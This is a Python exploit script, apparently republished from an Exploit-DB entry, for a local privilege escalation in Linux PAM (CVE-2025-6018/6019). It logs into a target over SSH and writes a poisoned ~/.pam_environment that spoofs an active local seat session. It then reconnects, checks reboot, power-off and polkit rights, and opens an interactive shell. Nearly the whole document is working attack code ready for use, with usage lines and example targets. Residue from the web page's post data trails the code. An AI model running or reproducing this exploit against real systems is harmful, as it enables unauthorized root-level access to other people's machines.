\n# Exploit Title: Linux PAM Environment – Variable Injection Local Privilege Escalation
\n
# Exploit Author: @\u0130brahimsql
\n
# Exploit Author’s github: https:\/\/github.com\/ibrahmsql
\n
# Description: PAM pam_env.so module allows environment variable injection via ~\/.pam_environment
\n
# leading to privilege escalation through SystemD session manipulation
\n
# CVE: CVE-2025-6018, CVE-2025-6019
\n
# Vendor Homepage: https:\/\/github.com\/linux-pam\/linux-pam
\n
# Software Link: https:\/\/github.com\/linux-pam\/linux-pam\/releases
\n
# Version: PAM 1.3.0 – 1.6.0 (vulnerable versions)
\n
# Category: Local Privilege Escalation
\n
# Requirements: paramiko>=2.12.0
\n
# Usage: python3 cve_2025_6018_professional.py -i target_ip -u username -p password
\n
# References:
\n
# – https:\/\/access.redhat.com\/security\/cve\/CVE-2025-6018
\n
# – https:\/\/bugzilla.redhat.com\/show_bug.cgi?id=2372693
\n
# – https:\/\/bugzilla.suse.com\/show_bug.cgi?id=1243226<\/p>\n
import paramiko
\n
import time
\n
import sys
\n
import socket
\n
import argparse
\n
import logging
\n
from datetime import datetime<\/p>\n
# Setup logging
\n
logging.basicConfig(
\n
level=logging.INFO,
\n
format=’%(asctime)s [%(levelname)s] %(message)s’,
\n
datefmt=’%Y-%m-%d %H:%M:%S’,
\n
handlers=[
\n
logging.FileHandler(‘cve_2025_6018_exploit.log’),
\n
logging.StreamHandler(sys.stdout)
\n
]
\n
)
\n
logger = logging.getLogger(__name__)<\/p>\n
class CVEExploit:
\n
def __init__(self):
\n
self.vulnerable_versions = [
\n
“pam-1.3.0”, “pam-1.3.1”, “pam-1.4.0”, “pam-1.5.0”,
\n
“pam-1.5.1”, “pam-1.5.2”, “pam-1.5.3”, “pam-1.6.0”
\n
]<\/p>\n
def check_vulnerability(self, client):
\n
“””Enhanced vulnerability detection”””
\n
logger.info(“Starting vulnerability assessment”)<\/p>\n
checks = {
\n
“pam_version”: “rpm -q pam || dpkg -l | grep libpam”,
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“pam_env”: “find \/etc\/pam.d\/ -name ‘*’ -exec grep -l ‘pam_env’ {} \\\\; 2>\/dev\/null”,
\n
“pam_systemd”: “find \/etc\/pam.d\/ -name ‘*’ -exec grep -l ‘pam_systemd’ {} \\\\; 2>\/dev\/null”,
\n
“systemd_version”: “systemctl –version | head -1”
\n
}<\/p>\n
vulnerable = False<\/p>\n
for check_name, command in checks.items():
\n
logger.info(f”Executing check: {check_name}”)
\n
try:
\n
stdin, stdout, stderr = client.exec_command(command, timeout=10)
\n
output = stdout.read().decode().strip()<\/p>\n
if check_name == “pam_version”:
\n
for vuln_ver in self.vulnerable_versions:
\n
if vuln_ver in output:
\n
logger.info(f”Vulnerable PAM version detected: {vuln_ver}”)
\n
vulnerable = True
\n
break<\/p>\n
elif check_name == “pam_env” and output:
\n
logger.info(“pam_env.so configuration found”)
\n
vulnerable = True<\/p>\n
elif check_name == “pam_systemd” and output:
\n
logger.info(“pam_systemd.so found – escalation vector available”)<\/p>\n
if output and check_name != “pam_version”:
\n
logger.debug(f”Command output: {output[:100]}…”)<\/p>\n
except Exception as e:
\n
logger.warning(f”Check {check_name} failed: {e}”)<\/p>\n
time.sleep(0.5)<\/p>\n
return vulnerable<\/p>\n
def create_malicious_environment(self, client):
\n
“””Create enhanced .pam_environment file”””
\n
logger.info(“Creating malicious environment file”)<\/p>\n
payload = ”’# CVE-2025-6018 Environment Poisoning
\n
XDG_SEAT OVERRIDE=seat0
\n
XDG_VTNR OVERRIDE=1
\n
XDG_SESSION_TYPE OVERRIDE=x11
\n
XDG_SESSION_CLASS OVERRIDE=user
\n
XDG_RUNTIME_DIR OVERRIDE=\/tmp\/runtime
\n
SYSTEMD_LOG_LEVEL OVERRIDE=debug”’<\/p>\n
try:
\n
logger.info(“Writing .pam_environment file”)
\n
cmd = f”cat > ~\/.pam_environment << 'EOF'\\n{payload}\\nEOF\"\n
stdin, stdout, stderr = client.exec_command(cmd)<\/p>\n
# Verify creation
\n
stdin, stdout, stderr = client.exec_command(“cat ~\/.pam_environment”)
\n
output = stdout.read().decode()<\/p>\n
if “OVERRIDE” in output:
\n
logger.info(“Malicious environment file created successfully”)
\n
return True
\n
else:
\n
logger.error(“Failed to create environment file”)
\n
return False<\/p>\n
except Exception as e:
\n
logger.error(f”Environment poisoning failed: {e}”)
\n
return False<\/p>\n
def test_privilege_escalation(self, client):
\n
“””Test privilege escalation vectors”””
\n
logger.info(“Testing privilege escalation vectors”)<\/p>\n
tests = [
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(“SystemD Reboot”, “gdbus call –system –dest org.freedesktop.login1 –object-path \/org\/freedesktop\/login1 –method org.freedesktop.login1.Manager.CanReboot”, “yes”),
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(“SystemD Shutdown”, “gdbus call –system –dest org.freedesktop.login1 –object-path \/org\/freedesktop\/login1 –method org.freedesktop.login1.Manager.CanPowerOff”, “yes”),
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(“PolicyKit Check”, “pkcheck –action-id org.freedesktop.policykit.exec –process $$ 2>\/dev\/null || echo ‘denied'”, “authorized”)
\n
]<\/p>\n
escalated = False<\/p>\n
for test_name, command, success_indicator in tests:
\n
logger.info(f”Testing: {test_name}”)
\n
try:
\n
stdin, stdout, stderr = client.exec_command(command, timeout=10)
\n
output = stdout.read().decode().strip()<\/p>\n
if success_indicator in output.lower():
\n
logger.info(f”PRIVILEGE ESCALATION DETECTED: {test_name}”)
\n
escalated = True
\n
else:
\n
logger.info(f”No escalation detected: {test_name}”)<\/p>\n
except Exception as e:
\n
logger.warning(f”Test {test_name} failed: {e}”)<\/p>\n
return escalated<\/p>\n
def interactive_shell(self, client):
\n
“””Professional interactive shell”””
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logger.info(“Starting interactive shell session”)<\/p>\n
shell = client.invoke_shell()
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shell.send(“export PS1=’exploit$ ‘\\n”)
\n
time.sleep(1)<\/p>\n
# Clear buffer
\n
while shell.recv_ready():
\n
shell.recv(1024)<\/p>\n
print(“\\n— Interactive Shell —“)
\n
print(“Commands: ‘exit’ to quit, ‘status’ for privilege check”)<\/p>\n
while True:
\n
try:
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command = input(“exploit$ “)<\/p>\n
if command.lower() == ‘exit’:
\n
break
\n
elif command.lower() == ‘status’:
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stdin, stdout, stderr = client.exec_command(“id && groups”)
\n
print(stdout.read().decode())
\n
continue<\/p>\n
shell.send(command + “\\n”)
\n
time.sleep(0.5)<\/p>\n
while shell.recv_ready():
\n
output = shell.recv(1024).decode(‘utf-8′, errors=’ignore’)
\n
print(output, end=”)<\/p>\n
except KeyboardInterrupt:
\n
logger.warning(“Use ‘exit’ to quit properly”)
\n
except Exception as e:
\n
logger.error(f”Shell error: {e}”)
\n
break<\/p>\n
def run_exploit(self, hostname, username, password=None, key_filename=None, port=22):
\n
“””Main exploit execution”””
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logger.info(f”Starting CVE-2025-6018 exploit against {hostname}:{port}”)<\/p>\n
try:
\n
# Initial connection
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client = paramiko.SSHClient()
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client.set_missing_host_key_policy(paramiko.AutoAddPolicy())<\/p>\n
logger.info(f”Connecting to {hostname}:{port} as {username}”)
\n
client.connect(hostname, port=port, username=username,
\n
password=password, key_filename=key_filename, timeout=10)
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logger.info(“SSH connection established”)<\/p>\n
# Check vulnerability
\n
if not self.check_vulnerability(client):
\n
logger.error(“Target does not appear vulnerable to CVE-2025-6018\/6019”)
\n
return False<\/p>\n
logger.info(“Target appears vulnerable, proceeding with exploitation”)<\/p>\n
# Create malicious environment
\n
if not self.create_malicious_environment(client):
\n
logger.error(“Failed to create malicious environment”)
\n
return False<\/p>\n
logger.info(“Reconnecting to trigger PAM environment loading”)
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client.close()
\n
time.sleep(2)<\/p>\n
# Reconnect to trigger PAM
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client = paramiko.SSHClient()
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client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
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client.connect(hostname, port=port, username=username,
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password=password, key_filename=key_filename)
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logger.info(“Reconnection successful”)<\/p>\n
# Test privilege escalation
\n
if self.test_privilege_escalation(client):
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logger.info(“EXPLOITATION SUCCESSFUL – Privilege escalation confirmed”)
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self.interactive_shell(client)
\n
else:
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logger.warning(“No clear privilege escalation detected”)
\n
logger.info(“Manual verification may be required”)<\/p>\n
return True<\/p>\n
except paramiko.AuthenticationException:
\n
logger.error(“Authentication failed – check credentials”)
\n
except paramiko.SSHException as e:
\n
logger.error(f”SSH error: {e}”)
\n
except socket.error as e:
\n
logger.error(f”Network error: {e}”)
\n
except Exception as e:
\n
logger.error(f”Unexpected error: {e}”)
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finally:
\n
try:
\n
client.close()
\n
except:
\n
pass
\n
logger.info(“Connection closed”)<\/p>\n
return False<\/p>\n
def main():
\n
parser = argparse.ArgumentParser(
\n
description=”CVE-2025-6018\/6019 PAM Environment Injection Exploit”,
\n
formatter_class=argparse.RawDescriptionHelpFormatter,
\n
epilog=”””
\n
Examples:
\n
python3 %(prog)s -i 192.168.1.100 -u testuser -p password123
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python3 %(prog)s -i target.com -u admin -k ~\/.ssh\/id_rsa
\n
“””
\n
)<\/p>\n
parser.add_argument(“-i”, “–hostname”, required=True, help=”Target hostname or IP”)
\n
parser.add_argument(“-u”, “–username”, required=True, help=”SSH username”)
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parser.add_argument(“-p”, “–password”, help=”SSH password”)
\n
parser.add_argument(“-k”, “–key”, dest=”key_filename”, help=”SSH private key file”)
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parser.add_argument(“–port”, type=int, default=22, help=”SSH port (default: 22)”)
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parser.add_argument(“-v”, “–verbose”, action=”store_true”, help=”Enable verbose logging”)<\/p>\n
args = parser.parse_args()<\/p>\n
if args.verbose:
\n
logging.getLogger().setLevel(logging.DEBUG)<\/p>\n
if not args.password and not args.key_filename:
\n
parser.error(“Provide either password (-p) or private key (-k)”)<\/p>\n
# Security warning
\n
logger.warning(“Use only with proper authorization!”)<\/p>\n
exploit = CVEExploit()
\n
success = exploit.run_exploit(
\n
hostname=args.hostname,
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username=args.username,
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password=args.password,
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key_filename=args.key_filename,
\n
port=args.port
\n
)<\/p>\n
sys.exit(0 if success else 1)<\/p>\n
if __name__ == “__main__”:
\n
main()\n<\/div>\n
View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"Exploit Details Basic Information Exploit Title Linux PAM Environment – Variable Injection Local Privilege Escalation Exploit ID EDB-ID:52386 Type exploitdb Published 2025-07-28T00:00:00 Modified 2025-07-28T00:00:00 CVSS…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,28,12,40,15,13,7,11,5],"class_list":["post-9193","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-78","tag-exploit","tag-exploitdb","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n
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